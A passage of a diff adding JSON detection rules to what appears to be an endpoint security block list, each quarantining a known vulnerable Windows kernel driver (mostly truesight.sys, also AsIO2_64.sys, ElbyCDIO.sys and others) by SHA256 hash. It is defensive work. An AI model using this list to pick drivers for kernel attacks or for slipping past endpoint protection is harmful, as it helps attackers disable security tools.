+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495956Z",
+  "creation_date": "2026-03-23T11:45:31.495959Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495967Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c58bc7080d7afb1ca252ea6790d2121f247d331f6e208690ea6c02f3d776499e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d403298-5d4a-59db-9f21-cca78b2a2c32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827397Z",
+  "creation_date": "2026-03-23T11:45:30.827399Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827405Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a484ffb9ea9148400fab505d1fedddff288cac81a739b93b2d58ea159e20449d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d4dce75-184a-558e-82fd-1b7dd315d7ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977314Z",
+  "creation_date": "2026-03-23T11:45:29.977316Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977321Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1aa8ba45f9524847e2a36c0dc6fd80162923e88dc1be217dde2fb5894c65ff43",
+  "comment": "Vulnerable Kernel Driver (aka netfilterdrv.sys) [https://www.loldrivers.io/drivers/f1dcb0e4-aa53-4e62-ab09-fb7b4a356916/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d514121-2000-54a1-94c8-05ec33751eca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144841Z",
+  "creation_date": "2026-03-23T11:45:31.144843Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144849Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "227645825c296a3ab08734d67a704b17312d00faf667eea26ee4f89aa32b8545",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d5b0974-848c-5f46-a2ef-b08907062fa7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150738Z",
+  "creation_date": "2026-03-23T11:45:31.150740Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150746Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d28a1a5e52f83e97e9437116cbecf0be4e650a157e7a6c98e4864ddf0780d40c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d5b8bdc-82c9-59ba-bb0c-09b749627086",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474180Z",
+  "creation_date": "2026-03-23T11:45:31.474183Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474192Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "176a8291782aba65d9fd94b4eec5b413d1c47e83c9e2e892742a7105e74e34cb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d5e79db-a1b2-5766-91e0-d741b761d140",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604644Z",
+  "creation_date": "2026-03-23T11:45:29.604646Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604652Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "08eb2d2aa25c5f0af4e72a7e0126735536f6c2c05e9c7437282171afe5e322c6",
+  "comment": "Vulnerable Kernel Driver (aka mydrivers.sys) [https://www.loldrivers.io/drivers/d9e00cc7-a8f4-4390-a6dc-0f5423e97da4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d5f5b2c-ab51-512e-9578-b3acb90a18cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488045Z",
+  "creation_date": "2026-03-23T11:45:31.488047Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488052Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "528f56c8a2caeee978bf462ae7ada5ecbfa8ca25f7d187fd9c7b660dbd0ca61e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d5fb6ed-fbbe-52aa-a80a-0b00a93d38f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622019Z",
+  "creation_date": "2026-03-23T11:45:29.622021Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26b8e689a13d3434951559cff24fcfe55edeb7b78c7cc16db1a273c90aa694c1",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d60cb57-a381-532c-ae11-ae0166bdf93f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486553Z",
+  "creation_date": "2026-03-23T11:45:31.486556Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486565Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a919420de7c56f88fd329ddee21f36945175411028c3a5c392d3b007d62a6c3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d640f3e-01eb-5a8d-b0bd-738000942b15",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142952Z",
+  "creation_date": "2026-03-23T11:45:31.142954Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142960Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a9a0fb0557ba307e5a05efa044f1ab83b349c367ccb0a5449cb5a0a31deaa2fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d6b8e50-a927-50af-a765-f307dcf28c1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833289Z",
+  "creation_date": "2026-03-23T11:45:30.833293Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833302Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8872bf582c3a4dd9736f52a16764f4de90260eabd0977a36bbd2b9ef735e7b9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d7bf2ff-3570-5108-a6c2-9df6b7d52aa4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497959Z",
+  "creation_date": "2026-03-23T11:45:31.497962Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497969Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a285988e4c8281472bc465cc15a1318ac6dc70cb7a58ac0657400d0e5e199db5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d8b233d-a336-5618-8de3-37e652a37793",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483500Z",
+  "creation_date": "2026-03-23T11:45:31.483504Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483514Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f74d59e46f8724eb43238e00ee0877b234e22de7a660f2c226d68ce21b663451",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d8ef3cb-ed8a-505d-afca-5cc8e059e556",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462612Z",
+  "creation_date": "2026-03-23T11:45:30.462616Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462625Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8bce2afd04ec073143a2a4ba51671992451c8e747a84852458321f2d275b5433",
+  "comment": "Vulnerable Kernel Driver (aka yyprotect64.sys) [https://www.loldrivers.io/drivers/12ccd18a-11da-495a-b4b4-98a2f2bff180/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4d9ed2bc-c7e8-5772-9465-017360104ab9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828387Z",
+  "creation_date": "2026-03-23T11:45:31.828390Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828395Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36f3dcbb114031b79e64f0650570c9248f08ecc000bac6d778f3df8cfdc7fc3d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4da00d52-f840-562e-9110-0aeca3bda106",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143729Z",
+  "creation_date": "2026-03-23T11:45:31.143731Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143737Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "98576e60b9821f44004c5b6856c75c80607fd7cb42768dd133d192846e6d9c13",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4da6ec80-5183-5988-affc-28ac774fa1c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829916Z",
+  "creation_date": "2026-03-23T11:45:30.829918Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829924Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19efc37343ea49027413e197762220cdccb73103b08653b049ae9c0bf9d3cf01",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4db3007d-e59d-5f0f-8b73-f9de3d89e13d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156274Z",
+  "creation_date": "2026-03-23T11:45:31.156276Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156281Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c92ddd3bd10344acda9a901384a86597cac3d1db8487b913574768a17dd9e8ff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4db5b4de-3346-586d-83c8-30219a628cec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817373Z",
+  "creation_date": "2026-03-23T11:45:31.817375Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817381Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b730f859033c3693864b75c93b57cbccb91d2438813ecd7ef535b9cb3b6dbcc9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4db6d26f-7642-5a7d-a433-68a3e667b928",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973182Z",
+  "creation_date": "2026-03-23T11:45:29.973184Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973189Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e35d09a903d76810830aff2fc87bb3071026d982a334b3ee4c68f66cba865109",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4db76a93-28cd-5834-9ba2-dc6046084b27",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620513Z",
+  "creation_date": "2026-03-23T11:45:29.620515Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620521Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "22418016e980e0a4a2d01ca210a17059916a4208352c1018b0079ccb19aaf86a",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4deaa4a7-0799-53a1-9616-db1afe385fb8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475476Z",
+  "creation_date": "2026-03-23T11:45:31.475480Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
